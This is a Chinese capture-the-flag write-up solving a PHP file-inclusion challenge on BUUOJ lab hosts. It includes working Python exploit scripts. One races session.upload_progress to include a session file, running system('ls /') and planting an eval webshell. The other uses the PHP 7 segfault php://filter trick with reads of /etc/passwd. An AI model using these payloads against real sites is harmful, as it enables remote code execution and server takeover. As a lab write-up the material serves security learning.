WP
进入环境,说用户名或者密码错误。抓包看一下,疑似哈希长度拓展攻击:
但是长度不知道,爆破的可能性不大,想了一下突然想起来给了hash值了,我还想着去长度拓展攻击呢,所以直接pass传一下:
进入flflflflag.php,发现是个文件包含。
include($_GET["file"])
伪协议读一下源码:
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
过滤了data和input,没法直接命令执行。长度远程包含发现不行,再尝试包含apache的日志文件,也不行。
这里我利用的是非预期解了。看了一下php版本是7.0.33,大于5.4,可以尝试利用session.upload_progress进行session文件包含:
import io
import sys
import requests
import threading
host = 'http://4da37c54-0605-4773-b4a7-11235251b69c.node3.buuoj.cn/flflflflag.php'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
写进shell.php,执行phpinfo即可找到flag。
预期解的话就是扫目录,可以发现dir.php。这个列出了/tmp下面的所有文件。
可以用php7 segment fault特性。
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
-
php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd -
php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
写个脚本:
import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)
再访问dir.php,可以看到临时文件名:
再文件包含即可: